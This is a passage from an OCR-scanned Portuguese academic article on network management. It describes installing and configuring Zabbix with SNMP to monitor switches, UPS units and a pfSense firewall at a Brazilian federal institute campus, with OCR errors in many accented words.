separacdo das funcionalidades do gerenciamento de redes, sendo assim,
conforme tdpicos abaixo, Specialski (2013) detalha os aspectos
importantes de cada uma:
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Gerenciamento de falha: mostra exatamente em qual
componente ocorreu a falha. Remaneja a rede para diminuir o
efeito da falha do dispositivo afetado;

Gerenciamento de contabilizagdo: evita que um usuario ou
um grupo de usudrios tenha uma quantidade maior de
privilégios de acesso e monopolizacdo da rede, em comparagéo
aos demais usudrios. Impede que tenha usuarios inoperantes na
rede e mantenha um bom desempenho da mesma;

Gerenciamento de configuracao: realiza as configuracGes
gerais dos componentes, assim como efetuar manutencéo,
adicdo, atualizagdo e mostrar o status na comunicacao entre 0s
dispositivos ao longo do funcionamento da rede

Gerenciamento de desempenho: monitora as atividades dos
componentes da rede e faz o controle do uso de recursos.

Gerenciamento de seguranca: gera, distribui e armazena
chaves de criptografia. Monitora e controla o acesso a rede a as
informac@es obtidas. Realiza a coleta, 0 armazenamento e
averiguacao dos registros de auditoria e logs de seguranca.

Dessa forma, Koch (2008) afirma que o gerenciamento

compreende 0 monitoramento dos recursos de rede, com o0 objetivo de
realizar uma analise dos resultados obtidos, para corrigir ou antecipar
falhas. Neste sentido, o servigo de gerenciamento compde em sua
estrutura um grupo de elementos fundamentais para o seu funcionamento.

2.2 ARQUITETURA DE GERENCIA DE REDES

A arquitetura de geréncia de redes contribui para efetuar uma divisao dos
elementos da rede, para entdo realizar um melhor gerenciamento. Sendo
assim, os softwares de gerenciamento de rede adotaram os quatro
componentes basicos da arquitetura para seu funcionamento, que foram
detalhas por Lopes (2002):

Elementos gerenciados: sofiware que possui um elemento chamado
de agente. O mesmo permite o monitoramento e controle de
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equipamentos da rede;

o  Estacdo de geréncia: deve conter ao menos uma em um sistema de
geréncia. O software da estacdo de geréncia que se comunica
diretamente com os agentes é designado como gerente, e tem como
objetivo monitorar ¢ controlar;

e  Protocolo de geréncia: para que haja comunicagio entre o agente e
o gerente, a mesma linguagem precisa ser interpretada pelos
mesmos. Sendo assim, foi definido o protocolo de geréncia, que
permite fun¢des de monitoramento (leitura) e controle (escrita);

o Informagdes de geréncia: os gerentes e agentes podem realizar troca
de informacg2o, mas ndo de todo tipo. E quem define os dados que
transitam sdo as informacgdes de geréncia, que determinam os dados
que os agentes e gerentes trocardo.

2.3 IMPORTANCIA DE GERENCIAR UMA REDE.

Conforme Sousa (2017), para saber o que esta acontecendo na rede e
realizar um controle agil da mesma é necessario um gerenciamento. Por
conseguinte, é possivel a deteccdo e localizagdo de problemas, assim
como monitorar o trafego da rede para suprir as necessidades de controlar
o volume de dados e velocidade para facilitar a identificacdo e correcéo
de falhas.

“Uma rede sem mecanismos de geréncia pode
apresentar problemas que irdo afetar o trafego dos
dados, bem como sua integridade, como problemas de
congestionamento do trdfego, recursos mal utilizados,
recursos sobrecarregados, problemas com seguranca
entre outros. ” (PINHEIRO, 2002)

Conforme Matos (2009), a necessidade de geréncia surgiu
através da expansdo da rede. Sendo assim, tornou-se mais trabalhoso e
dificil realizar o gerenciamento. Entretanto, foram desenvolvidas
ferramentas que podem automatizar o processo de geréncia.
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2.4 PROTOCOLOS UTILIZADOS PARA GERENCIAMENTO

2.4.1 Protocolo SNMP

O Protocolo Simples de Gerenciamento de Redes (SNMP, Simple
Network Management Protocol) é um protocolo de comunicacdo
utilizado para transmitir informacBes de status dos equipamentos
conectados a rede (SOUZA, 2015). Conforme Dias e Alves (2002), o
SNMP é definido como um protocolo de geréncia a nivel de aplicacdo e
é utilizado para buscar dados de agentes distribuidos na rede.

Atualmente o SNMP conta com trés versoes, que sao detalhadas
por Esteves e Alves (2013):

e SNMP versdo 1 (SNMPv1): o SNMPv1 é caracterizado por
utilizar o conceito de comunidades (communities) e estas
funcionam como senhas do tipo strings, com a funcdo de
estabelecer conexdo entre 0s equipamentos que estdo sendo
monitorados e maquinas que realizam a geréncia;

e SNMP verséo 2 (SNMPv2): foi agregado ao SNMPv2 a melhoria
na autenticacdo das communities com a reparacgdo de falhas que
havia na versdo anterior;

onE
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SNMP versdo 3 (SNMPv3): a principal mudanca nesta versao foi a
questdo da evolucdo de seguranca incluida ao protocolo. Cada
dispositivo monitorado pdde contar com uma rigorosa autenticacao.
Ainda, foi adicionado a privacidade de comunicacdo entre 0s
equipamentos gerenciados.
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e 2.4.2 Protocolo Zabbix

O Protocolo Zabbix trabalha de modo simplificado e funciona sobre
conexGes TCP. De acordo com Mota (2017), foi criado pelos
desenvolvedores do software de geréncia Zabbix um protocolo para
realizar a comunicacdo de agentes entre dispositivos que ndo suportam
protocolos mais utilizados, como 0 SNMP.

Em conformidade a documentacéo oficial do Zabbix (2018), um
equipamento alvo de monitoracdo recebe a instalacdo de um agente
Zabbix, com o intuito de monitorar os recursos e aplicagdes locais, como
discos e particdes, memoria, estatisticas do processador, etc.

Ha dois tipos de verificagbes que sdo executadas pelo protocolo:

e Verificagao passiva: nesse modo uma requisigdao de informacgao
é respondida pelo agente. Sempre que necessdrio o servidor
ou o Proxy do Zabbix requerem informagdes do uso de CPU,
memodria, disco, entre outras e o agente mostra o resultado
solicitado;

Verificagdo ativa: um pouco mais trabalhoso, nesse modo o agente
precisa receber previamente uma lista com todos os alvos a serem
monitorados e intervalo para coleta dos dados.

2.5 SOFTWARES DE GERENCIA DE REDES

Conforme a expansdo dos dispositivos na rede que podem ser
gerenciados, se fez necessario o uso de softwares especificos para realizar
a geréncia de redes. Neste ponto, Freitas (2001) afirma que para uma
observacdo constante da rede, um sistema de gerenciamento trabalha com
uma gama de processos e tarefas que podem ser agregados com um bom
uso de técnicas e ferramentas apropriadas.

Neste caso, o software de geréncia Nagios, segundo Koch
(2008), € uma ferramenta desenvolvida para monitoramento de rede, em
que realiza o envio de notifica¢fes de eventos sobre a monitoracdo de
hosts e servigos. Dessa forma, a aplicacdo foi inicialmente criada para
funcionar na plataforma Linux, posteriormente podendo ser utilizado em
sistemas Unix e Windows com suporte a envio de emails,
compartilhamento de arquivos, troca de dados na web, sistema de nome
de dominios, entre outros recursos.
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Nesse sentido, Matos (2009) afirma que, com a ferramenta de
monitoramento Cacti pode-se obter, por meio de graficos, informacgdes
sobre status atual da rede e seu sistema foi planejado para trabalhar com
0 protocolo SNMP. Com o software instalado em um host é possivel
coletar dados de dispositivos na rede, como disponibilidade de disco, uso
da CPU, trafego da rede, temperatura dos equipamentos, entre outros. Por
meio de sua arquitetura, é possivel implementar ferramentas adicionais
com novas funcionalidades.

Ainda neste contexto, Horst, Pires e Déo (2015) afirmam que o
Zabbix é um software moderno, funciona em diversas plataformas e é
uma das ferramentas mais utilizadas de monitoramento open source. O
sistema funciona trabalhando em conjunto com um Sistema de
Gerenciamento de Banco de Dados (SGBD, Data Base Management
System) para armazenar dados e configuracdes coletadas. Através da
descoberta de baixo nivel (LLD, Low Level Discovery) é permitido a
criacdo automatica de itens, triggers e gréficos para acompanhamento da
monitoracdo de equipamentos. Mota (2017) relata que o Zabbix surgiu
com o intuito de ser uma ferramenta de monitoramento diferente das que
estdo no mercado, com prego acessivel, baixo custo de manutencéao e que
ndo necessita de conhecimento avangado para se utilizar.

3 TRABALHOS RELACIONADQOS

Nessa se¢do serdo apresentados trabalhos relacionados, com o propésito
de apresentar um embasamento teérico para justificar a escolha pelo
nosso tema.

Freitas (2001) descreveu, por meio de um estudo de caso, uma
problematica em relagdo ao controle de rede, propondo métodos para a
implementacdo de sistemas de gerenciamento. O autor cita, ainda, que
devido ao software implementado, péde-se coletar informacbes para
facilitar no monitoramento e, logo tornou o sistema 4gil e util. Por fim,
Freitas afirma que foi possivel ter conhecimento de problemas que nédo
podiam ser identificados com a operacdo de rede no dia a dia. Sendo
assim, com o uso das ferramentas, houve uma facilidade para tomada de
decisBes quanto ao aspecto de configuragdo da rede e identificacdo de
problemas relacionado ao desempenho da mesma.

Silva, Medeiros e Martins (2015), desenvolveram um trabalho
analisando a utilizacdo da ferramenta Zabbix e do protocolo SNMP para
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realizar o monitoramento e controle da rede. Os autores concluiram que é
essencial conter na rede um gerenciamento centralizado e isso foi possivel
com utilizacdo da ferramenta Zabbix, além de controlar e gerencia-la,
também antecipar e resolver de problemas rotineiros.

Com intuito de apresentar uma aplicagdo pratica, Romeiro e
Costa (2016) utilizaram a ferramenta Zabbix para efetuar a leitura e
escrita de dados de um sistema de automacéo residencial gerenciada por
meio do protocolo SNMP. A partir dos resultados obtidos, reiterou que a
ferramenta se mostrou aceitavel, mesmo sendo desenvolvida para
administrar redes de computadores e que isso foi possivel devido a gama
de recursos permitidos pela ferramenta.

Soares e Costa (2015) apresentaram um estudo de caso sobre o
monitoramento de ativos de rede voltados a transmissdo de imagens
médicas entre filiais e matriz do Grupo Alliar — Medicina Diagndstica,
com o intuito de mapear e diagnosticar de forma rapida possiveis falhas
na comunicacao entre as empresas. O estudo teve como foco a laténcia
apresentada entre os links que acarretava na apresentacdo de falhas por
meio da aplicacdo PACS, impactando na replicagdo das imagens. Como
resultado do estudo, enfatizaram como a ferramenta foi eficaz no
monitoramento por meio do modelo simple check implementado.

4 MATERIAIS E METODOS DE PESQUISA

4.1 METODO DE PESQUISA

Para validar as ideias do objetivo proposto com conceitos, a metodologia
da pesquisa reine procedimentos adotados para a conducdo de um
determinado projeto de pesquisa e, necessariamente, precisa ser
classificada (FREITAS JUNIOR, SOUSA, 2018).

Quanto ao método de pesquisa, considera-se aplicada pois,
conforme Thiollent (2005), a pesquisa aplicada concentra-se em torno dos
problemas presentes nas atividades das instituicdes, organizacgdes, grupos
ou atores sociais. Estd empenhada na elaboracdo de diagnosticos,
identificacdo de problemas e busca de solugBes. Respondem a uma
demanda formulada por “clientes, atores sociais ou institui¢des”.

Desse modo, a aplicacdo desse artigo tem enfoque no
monitoramento dos dispositivos considerados fundamentais para o
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funcionamento do ambiente de rede e atividades do campus, sendo eles:
firewall, switches, servidores e nobreaks. Logo, para alcancar os objetivos
desta pesquisa, foi necessaria a realizagdo das seguintes atividades:

Figura 1 - Mapa de atividades

s Revisdo da bibliografica

# Selecdo do ambiente de hardware
s Escolhas das ferramentas e protocolos
s Planejamento de implementacdo

s Implementacdo
* Analise e apresentacdo dos resultados obtidos

Fonte: Os autores, 2019.

A pesquisa bibliografica busca a resolugdo de um problema
(hipbtese) por meio de referenciais tedricos publicados, analisando e
discutindo as vérias contribuigdes cientificas (BOCCATO, 2006).
Segundo Pizzani et al. (2012) essa revisdo é chamada de levantamento
bibliografico ou reviséo bibliografica.

Neste sentido, o levantamento bibliografico que aborda o tema
tem como objetivo explanar os fundamentos essenciais que envolvem a
geréncia de rede e, também, o monitoramento dos dispositivos que a
constitui, por meio de ferramentas.

Desse modo, a fase de selecdo de um ambiente de rede propicio
para a implementacdo da ferramenta respeitou os requisitos minimos
estipulados pela documentacdo oficial e também os aspectos do cenério
da rede local.

Com base no ambiente de hardware, a escolha das ferramentas
e protocolos de gerenciamento utilizados foi fundamentada nos padrbes
de mercado, podendo assim serem utilizados em ambientes institucionais
e adequados a plataforma definida.
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Sendo assim, o planejamento de implementacdo definiu o passo
a passo da implantagdo, como serdo feitas as aferigdes e quais materiais
serdo utilizados. Também o estabelecimento de quais dispositivos a serem
monitorados, e 0s dados a serem coletados.

Nestas condicbes, a implementacdo serd realizada conforme
parametros previamente definidos e elencados anteriormente e, a partir
disso, obter o recolhimento dos dados desejados. Assim, a analise e
interpretacéo dos resultados obtidos verifica e avalia os dados que foram
coletados por meio do monitoramento desenvolvido.

4.2 MATERIAIS

4.2.1 Cenario e Softwares Utilizados

Com base no cendrio de rede do Instituto Federal Catarinense Campus
Avancado Sombrio, um dos pardmetros observados para a implementagéo
da ferramenta foi a possibilidade de acesso a todos os dispositivos. Sendo
assim, o local definido para efetuar a instalacdo do Zabbix conforme
mostra a Figura 2, foi em uma maquina virtual (VM) na plataforma de
virtualizagdo VMWARE em um dos servidores do campus, utilizando o
sistema operacional Linux Debian 9 (Stretch) com arquitetura de 64bits,
2GB RAM, Banco de Dados MariaDB versédo 10, Servidor Web Apache2,
PHP 7.0 e a ferramenta de gerenciamento de banco phpMyAdmin 4.6.
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Figura 2 - Topologia Fisica da Rede
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Fonte: Os autores, 2019.

4.3 IMPLANTACAO

4.3.1 Instalacdo e Configuracao do Servidor

ga=
=Il INSTITUTO FEDERAL

Catarinense

167

Ap0s definir os pardmetros e softwares necessarios para a implementacéo,
por meio da ferramenta Putty, que permite acesso remoto utilizando o
protocolo (SSH, Secure Shell?”), foi feito acesso ao servidor e iniciado o
processo de instalagdo. Neste ponto, seguindo a documentacdo oficial da
ferramenta, foi necessario a instalacdo do repositério na distribuicdo
Debian, e a partir disso, por meio do gerenciador de pacotes, pode-se
instala-lo aplicando os comandos, conforme a figura 3.

21 Secure Shell é um protocolo que prove seguranga em comunicagio de
servigos de rede utilizando criptografia.
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Figura 3 - Instalagdo do servidor Zabbix, Interface Web e

Agente Zabbix
&2 1721801 - PuTTY = | B
root@server:~# apt install zabbix-server-mysgl zabbix-frontend-php za *
bbix—-agent
Lendo listas de pacotes... Pronto
Construindo &rvore de dependéncias
Lendo informagdo de estado... Pronto -

Fonte: Os autores, 2019.

Com efeito ao procedimento anteriormente executado, a
ferramenta ja esta instalada e pronta para ser configurada. Todavia,
utilizando o Banco de Dados MariaDB preliminarmente instalado no
sistema operacional (SO), foi criada a base de dados responsavel pelo
armazenamento das informacdes, além disso, com o comando “zcat
Jusr/share/doc/Zabbix -server-mysql/create.sql.gz | mysql —uzabbix -p
Zabbix ” foi importado o esquema de tabelas padrdo disponibilizado pela
ferramenta.

Neste ponto, foram feitas no arquivo padrdo “cd /etc/Zabbix
[Zabbix _server.conf’, configuragdes as quais sdo responsaveis pela
conexao entre a ferramenta e o banco de dados, conforme documentacéo
oficial, informando “DBHost=localhost, DBName=zabbix,
DBUser=zabbix e DBPassword=***¥*¥¥*x%" (Q mesmo acontece com
o arquivo ““/etc/apache2/conf-enabled/zabbix.conf”, retirando a “#” do
inicio da linha “php_value date.timezone Europe/Riga” € a alterando para
“php value date.timezone America/Sao_Paulo”, para que a ferramenta
faca os registros dos dados capturados de acordo o horario local.

A esta altura, a ferramenta possui todas as configuragdes
necessarias para a utilizacdo, devendo apenas reiniciar 0s servigos
aplicando os comandos "/etc/init.d/apache2 restart"; "systemctl enable
Zabbix -server™; "systemctl enable Zabbix -agent"; "/etc/init.d/Zabbix -
server restart”; "/etc/init.d/Zabbix -agent restart™ e as confirmagdes das
etapas realizadas anteriormente acessando através do navegador o
seguinte destino http://10.0.25.71/zabbix /setup.php, de acordo com a
figura 4.
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Figura 4 - Checando configuracdes

ZABBIX Check of pre-requisites
Require ~

| sleome PHP version 7.0.33-0+d809u5 540 oK
Ca’r;li\gL;rrejD:EI.c:a.r;n:e;:;\:an PHP option "memory_limit" 128M 128M oK
Zabbix server details PHP option “post_max_size™ 16M 16M oK
Fre-installation summary PHP option “upload_max_filesize” 21 21 oK
Install PHP option "max_execution_time™ 300 300 oK
PHP option "max_input_time” 300 300 oK
PHP option "date timezone”™ America/Sao_Paulo oK
PHP databases support MySaL oK
PHP becmath on oK
PHP mbstring on oK

v

Fonte: Os autores, 2019.

4.3.2 Instalacéo e Configuracéo do Agentes

Diante da ferramenta instalada para alcancar o objetivo proposto, foram
identificados os critérios caracteristicos de cada equipamento: como
espaco em disco, aquecimento, consumo de banda, consumo de energia,
entre outros. Com tais dados identificados, o trabalho se desenvolveu em
trés etapas: adicionar os hosts a serem monitorados, denominados
agentes, configurar os itens desejados e o layout nos quais os dados
seriam apresentados. Neste ponto, sera demonstrado de forma sucinta as
principais configuragfes para se obter os dados dos agentes, abordando
as principais caracteristicas e 0S servigos a serem monitorados.

Considerando que a ferramenta Zabbix dispbe de forma nativa
suporte ao protocolo SNMP, inicialmente foram cadastrados os hosts a
serem monitorados por este protocolo, ja que ndo possuem suporte ao
controle via agente Zabbix. Nesse sentido, os dispositivos cadastrados
foram os switches: HP 1820-48G-PoE+ (370W) Switch J9984A, Cisco
SG300-28 28-Port Gigabit Managed Switch e também os 6 nobreaks
SMS Double Il DSP 10 kVA.
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Para tal atividade, por meio da interface web, que dispde de
interface grafica para facilitar a configuragdo, na aba “Configura¢oes —
Hosts” criou-se 0s hosts e de acordo com cada dispositivo foram
informados os seguintes parametros obrigatérios. “Nome do host, Grupos
e Interface”.

Ja para os dispositivos que suportam o agente Zabbix, como no
caso do firewall, utilizou-se 0 mesmo para configuracéo. Este, por sua
vez, baseia-se no sistema operacional FreeBSD e é adaptado para
trabalhar como firewall ou router de uma rede e dispde em seu repositdrio
oficial de softwares uma versdo do agente que foi instalada por meio de
sua interface web.

Conforme a documentacéo oficial do Zabbix (2018), os itens s&o
a forma que a ferramenta utiliza para receber dados de um host, no
entanto, para tais atividades utilizou-se do recurso de templates? prontos,
disponibilizados de forma open source pela comunidade do Zabbix.
Optou-se pela utilizacdo de templates por possibilitarem sua associacdo a
varios hosts, desde que atendam as métricas requeridas por cada um, além
disso, o beneficio de adicionar vérios itens a um determinado host de uma
Unica vez, podendo, assim, otimizar tempo de configuracéo.

Nessas condi¢Bes, como 0 Zabbix coleta muitos dados, para
alguns usuarios é mais facil analisar representacdes visuais ao invés de
apenas nudmeros coletados. Sendo assim, é neste contexto, que a
aplicabilidade de graficos se integra, permitindo ao usuario compreensao
ao fluxo de dados de forma facil.

Para configurar um gréafico customizado na ferramenta, acessou-
se a seguinte aba na interface web “Configuragio — Hosts (ou
Templates) ”, e a partir disso no host a ser configurado criou-se um novo
grafico. Neste processo foi configurado os principais critérios, sendo eles,
"Nome, Largura, Altura, Legenda, e itens no qual serdo gerados os
graficos”.

28 Template € um conjunto de entidades que podem ser associadas de forma
facil e conveniente a varios hosts. Sendo assim, tais entidades podem
ser: Itens, Triggers, Graficos, Aplicagdes, Telas etc. (ZABBIX, 2018).

e
=Il INSTITUTO FEDERAL

Catarinense



171

5 RESULTADOS E DISCUSSOES

Esta secdo apresenta o0s resultados obtidos posteriormente a
implementacdo da ferramenta e configuragbes dos hosts, conforme
métodos demonstrados anteriormente.

5.1 MONITORAMENTO WEB

Por intermédio do monitoramento web foi possivel ter uma visdo ampla
do status dos dispositivos configurados, proporcionando imediato acesso
e compressdo aos dados obtidos, além disso, provendo uma gama de
configuragdes por meio dos menus suspensos e submenus. Desse modo,
em especifico no host pfSense ADM, demonstrado na Figura 5, pode-se
obter o hostname do dispositivo “pfSense.sombrio.ifc.edu.br”’, 0 nUMero
de usuarios logados number of logged in users “1”, também informacdes
do sistema system Information, que traz dados como tipo de sistema
“FreeBSD”, hora local “host local time”, data/horario do boot inicial host
boot time “23/20/2019 as 16:37” e 0 nUmero de processos executados
maximun number of processes “9348”.

Figura 5 - Dados apresentados por meio da interface web

14-11-2019 1268.0 FrasBSD pfsense sombrio e edu br 11

Fonte: Os autores, 2019.

Com base nos dados apresentados na Figura 5, a equipe de Tl do
campus conseguiu ter um controle sobre 0s acessos e tempo em que o host
estava online, ou seja, sem interrupcao por um periodo de tempo.

5.2 MAPA DE REDE

Como a ferramenta dispde da criacdo de mapas de rede, foi configurado
um mapa que atualiza em tempo real o trafego de rede entre os switches,
0 consumo total no link de saida pelo pfsense, além dos principais dados
dos nobreaks, conforme Figura 6 e discriminados na tabela 1. Logo, a
criagdo do mapa teve como finalidade tornar mais facil o monitoramento,
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ja que é capaz de agrupar em um Unico mapa varios hosts e monitora-los
em uma visdo ampla, assim otimizando o tempo da equipe de TI.

Figura 6 - Mapa de rede

Zabbix server aps TP l”" 2
127.0.0.1 i T
x poler processes more than 75% busy > | : 4.84 Mops
}f,-‘. < LAN OUT: 312.24 Kbps
_~ SW-DISTRIBUICAO-ADM __
\ o

> A

/
—~ b pfsense ADM
gﬁsz%i: l:;vs‘ b IN: 69.1 Kbps o
OUT: 89.36 Kops OUT: 374.03 Kbps
0 i / \ T
e // \ S
. P / \ “'n,
. IN: 5.54 Kbps / \ ‘
oAy OUT: 15.44 Kbps L | WAL
- 7 IN: 2.14 Kbps IN: 152 bps B v
/ OUT: 12.46 K9S | | ouT: 12.15 Kbps | g
i’ / \
/ [ \

7

- / \ Nobreak Sala 34
\“ / \ 10.0.17.4
" / \ Bateria: 99 %

Tempo Resp.: 3.7ms
SW-DIRECAO

[ ¥ Temperatura: 24 °C
10.0.50.104 g g Tens3o Saida abaixo de 180V no Nobreak Sala 34
o “"--.? "‘..4?

SW-SECRETARIA SW-AUDITORIO
10.0.50.101 10.0.50.103

oK oK

Fonte: Os autores, 2019.

Tabela 1 — Dados do trafego de rede entre switches

Entrada Saida

Host (IN) (OUT)

SW-
DIRECAO
SW- 380.34
PROFESSORES Kbps
SW-
AUDITORIO

5.54 Kbps 15.44 Kbps

89.36 Kbps

152 bps 12.15 Kbps

374.03

SW-HALL 69.1 Kbps Kbps

SW-

SECRETARIA 2.14 Kbps 12.46 Kbps
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312.24

PFSENSE 4.84 Mbps Kbps

Fonte: Os autores, 2019.

5.3 MONITORAMENTO SWITCH

O monitoramento dos switches foi efetuado por meio do protocolo
SNMP, ja que os dispositivos ndo possuem suporte a instalacédo do agente
Zabbix. Diante disso, ap06s habilitar o protocolo nos dispositivos e
configurar a comunidade em que 0 mesmo ird responder as requisicoes,
optou-se por utilizar templates pré configurados de acordo com o0 modelo
do dispositivo. Neste sentido, a figura 7 traz os dados obtidos do
monitoramento do switch localizado no segundo andar, sala dos
professores.

Figura 7 - Dados obtidos por meio do monitoramento do switch

SW.PROFESSORES  Network interfaces (141 ltens)

028 : TX unicast 14-11-2019 16:06:09 21 pps 19 pps

Fonte: Os autores, 2019.

Como pode se observar na figura, 0 monitoramento trouxe dados
importantes para a administragdo dos dispositivos, como a taxa de
transmissdo da porta 28 do switch 63,36 Kbps IN e 32 Kbps OUT, além
disso, o nimero de erros na interface no total de 0 IN/OUT, taxa de
transmissao de 1Gbps e pacotes de broadcast em um total de 6 pps.

5.4 MONITORAMENTO NOBREAKS

No gréfico exibido pela Figura 8, pode-se observar o consumo da poténcia
energética em um periodo compreendido antes e durante uma aula.
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Figura 8 - Poténcia consumida nobreak laboratério 34 pré e durante aula.

Nobreak Sala 34: Poténcia Consumida (%)

20 %
15% [;'J"
10% w
TR ¥ :
oy M
0%
58 4 = b a 4 b = g ne
N 4 i i i 2 < 3 2 3 S
i it 5 A g
K ~
w ]
dtime  min méd max
M Corrente de entrada R [méd] 822% 4% 9.41 % 16%
M Corrente de entrada S [méd] 0% 0% 0% 0%
W Corrente de entrada T [méd] 0% 0% 0% 0%

Fonte: Os autores, 2019.

Além disso, é visivel alguns dados que automatizam o
diagnéstico de falhas e/ou, como no caso, um aumento de temperatura,
diagnosticados por meio de triggers, estas pré-configuradas no template
e customizadas de acordo a necessidade, com intuito de disparar alertas
de imediato quando os niveis de temperatura excederem maior que 30°
graus [ > 30 ], representando um alerta de aten¢do em amarelo e, maior
que 38° graus [ > 38 ], um alerta grave, como demonstrado na figura 9.

Figura 9 - Temperatura nobreak laboratorio 34 pré e durante
aula.

Nobreak Sala 34: Temperatura

255¢2C
25°C
24.5°C \
24 °C
235=C \ / |
232C
225¢°C B E
E -] g = B ] 4 = B a 4 e
SR 5] i o o o = = = ! ui i
— — EA H H
\" I-I.
N I~
Ultimo min méd M

W Temperatura [med] 25 0 23 eC 23,096 2C 25 oC

C»Trigger: Temperatura acima de +302C no Nobreak Sala 34 [= 30]
& Trigger: Temperatura acima de +382C no Nobreak Sala 34 [= 38]

Fonte: Os autores, 2019.
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Neste contexto, para verificar a usabilidade da ferramenta foi
induzido por meio da trigger denominada “temperatura acima de +30”
um episodio de superaquecimento. Nesse sentido, configurou-se que apds
uma temperatura acima do pré-determinado, 20° graus, fosse ativado um
alerta, avisando os administradores sobre esta situagdo. Com resultado a
este experimento pode-se obter o alerta, como demonstrado na figura 10.

Figura 10 - Resultado experimento de aquecimento

Nobreak Sala 32 #DOWNTIME Nobreak Sala 32 Média 2
Nobreak Sala 32 Ping loss is too high on Nobreak Sala 32 Atencio 2
Nobreak Sala 31 Temperatura acima de +30°C no Nobreak Sala 31 Atencdo 2
Nobreak Sala 32 Temperatura acima de +30°C no Nobreak Sala 32 Atencdo 2
Nobreak Sala 34 Temperatura acima de +30°C no Nobreak Sala 34 Atencdo 2
Nobreak Sala 35 e 36 Temperatura acima de +30°C no Nobreak Sala 35 e 36 Atencido 2
Nobreak Sala 37 ¢ 38 Temperatura acima de +30°C no Nobreak Sala 37 e 38 Atenciio 1

Fonte: Os autores, 2019.

Contudo, a ferramenta de monitoramento disponibiliza inimeros
meios de se obter informagdes sobre os dispositivos, conforme a Figura
11, e o template empregado atendeu de forma suficiente o cenério e
objetivos propostos, ja que 0 mesmo possui uma gama de itens e triggers
configurados.

Figura 11 - Numero de itens e triggers no femplate

Nome a

Template Nobreak SMS Sinus Aplicacbes ltens 4 Triggers 28 Graficos 1 Telas 1 Descoberta Web
Fonte: Os autores, 2019.

5.5 MONITORAMENTO FIREWALL

Com efeito aos resultados do monitoramento do firewall, em especifico o
trafego de dados nas interfaces, os administradores do campus, como
demonstrado na Figura 12, puderam observar os horarios com maior
indice de tréansito de dados.
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Figura 12 - Trafego da rede administrativa do campus.

Trafego de Rede : ADM

§9.01 Mbps
55.24 Mbps 1]
41,48 Mbps Ly 'i
27.71 Mbps
13.95 Mbps

i l'L-. N L ;,._;-'\"':‘-4‘} Jlll)'}ll.,._ -

185.86 Kbps |

NPNSPFLS | — B s S LS S

12:33 13:10 13:47 14:24 15:00
PFSense ADM: trafego entrada ADM = PFSense ADM: trafego saida ADM

Fonte: Os autores, 2019.

Com tais observagBes pode-se diagnosticar que se fazia
necessario um maior controle de banda na rede administrativa, ja que em
determinados momentos houve um pico de 55,24 Mbps de upload,
impactando no ambiente como um todo. Sendo assim, apds efetuado o
controle de banda considerado ideal pela equipe de TI, ocorreu uma
melhora visivel na distribui¢cdo, conforme Figura 13 e com isso, obteve-
se um melhor desempenho e usabilidade pelos usuarios.

Figura 13 - Trafego de rede apds controle de banda

Trafego IN/OUT pfSense ADM
30.14 Mbps

2414 Mbps
18.15 Mbps
12.16 Mbps

6.16 Mbps

170,98 Kbps == ——e e NN A A ——— A
11-1414:00 1141424 11-14 1449 11-141513 11-1415:38 11-1416:02 1-1416:27
= pfSense ADM: Incoming network traffic on re) = pfSense ADM: Outgoing network traffic on re0

Fonte: Os autores, 2019.
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6 CONSIDERAGOES FINAIS

Concluido todas as etapas de implementagdo, configuracdo e coleta de
resultados, pode-se notar detalhadamente o funcionamento da ferramenta
Zabbix, observando como o software é executado para disponibilizar as
informac0es de gerenciamento de equipamentos aos administradores da
rede.

Dessa forma, observamos que por meio da utilizacdo do Zabbix
houve uma diminuicdo consideravel no tempo em que os dispositivos que
compdem a rede ficaram indisponiveis ao usuario final. Sendo assim,
otimizando o tempo e permitindo a equipe de Tl do campus realizar
previamente a manutencdo de um equipamento antes que o mesmo fique
indisponivel, j& que a ferramenta oferece a possibilidade de realizar um
prognostico de falhas enviando alertas.

Além disso, compreendeu-se que a maneira de se realizar a
instalacdo do Agente Zabbix no dispositivo monitorado mostrou-se
simples e versétil, logo, ndo é necessario realizar alteragdes nestes ativos,
sendo preciso apenas alteragbes no servidor Zabbix.

Como recomendacdo para trabalhos futuros, sugere-se
complementar no grupo de dispositivos monitorados os switches que
estdo localizados nos laboratérios de informética do Instituto Federal
Catarinense - Campus Avancado Sombrio, sendo esses locais passiveis
de realizar um monitoramento, uma vez que hd uma concentracdo de
dispositivos.

REFERENCIAS

BLACK, T. L. Comparacio de Ferramentas de Gerenciamento de
Redes. Instituto de Informatica da Universidade Federal do Rio
Grande do Sul (INF - UFGRS) - Porto Alegre, 2008. Disponivel em:
https://www.lume.ufrgs.br/handle/10183/15986. Acesso em: 14 jul.
2019.

BOCCATO, V. R. C. Metodologia da Pesquisa Bibliografica na Area
Odontolégica e o Artigo Cientifico como Forma de Comunicagdo.
Revista de Odontologia da Universidade de Siao Paulo. Sio Paulo,
v. 18, n. 3, p. 265-274, 2006. Disponivel em:
http://arquivos.cruzeirodosuleducacional.edu.br/principal/old/revista

e
=Il INSTITUTO FEDERAL

Catarinense


https://www.lume.ufrgs.br/handle/10183/15986
https://www.lume.ufrgs.br/handle/10183/15986

178

_odontologia/pdf/setembro_dezembro 2006/metodologia pesquisa
bibliografica.pdf. Acesso em: 15 ago. 2019.

DIAS, B. Z.; ALVES JUNIOR, N. Protocolo de Gerenciamento SNMP.
2002. Disponivel em:
http://www.rederio.br/downloads/pdf/nt00601.pdf. Acesso em: 30 jul.
2019.

ESTEVES, A. M. B.; ALVES JUNIOR, N. O Protocolo SNMP. Centro
Brasileiro de Pesquisas Fisicas (CBPF) - Rio de Janeiro, 2013.
Disponivel em: http://revistas.cbpf.br/index.php/nt/article/view/24/31.
Acesso em: 30 jul. 2019.

FREITAS, G. M. L. Uma Estratégia para Implementacio de
Gerenciamento de Redes - Estudo de Caso do Tribunal de Contas da
Unido. Universidade Federal de Santa Catarina (UFSC) -
Florianopolis, 2001. Disponivel em:
https://repositorio.ufsc.br/handle/123456789/81566. Acesso em: 06
ago. 2019.

FREITAS JUNIOR, V; SOUSA, V. M. Guia para a escrita de artigos
cientificos: uma perspectiva da pesquisa tecnologica. Sombrio:
Editora IFC, 2018. Disponivel em:
http://editora.ifc.edu.br/2018/12/20/guia-para-a-escrita-de-artigos-
cientificos-uma-perspectiva-da-pesquis a-tecnologica/. Acesso em: 23
set 2019.

HORST, A. S.; PIRES, A. S.; DEO, A. L. B. De A a Zabbix. Sdo Paulo:
Novatec Editora, 2015.

KOCH, M. Uma Proposta de Solucido de Gerenciamento de
Contabilizacdo utilizando Nagios e Cacti. Instituto de Informatica
da Universidade Federal do Rio Grande do Sul (INF - UFGRS) - Porto
Alegre, 2008. Disponivel em:
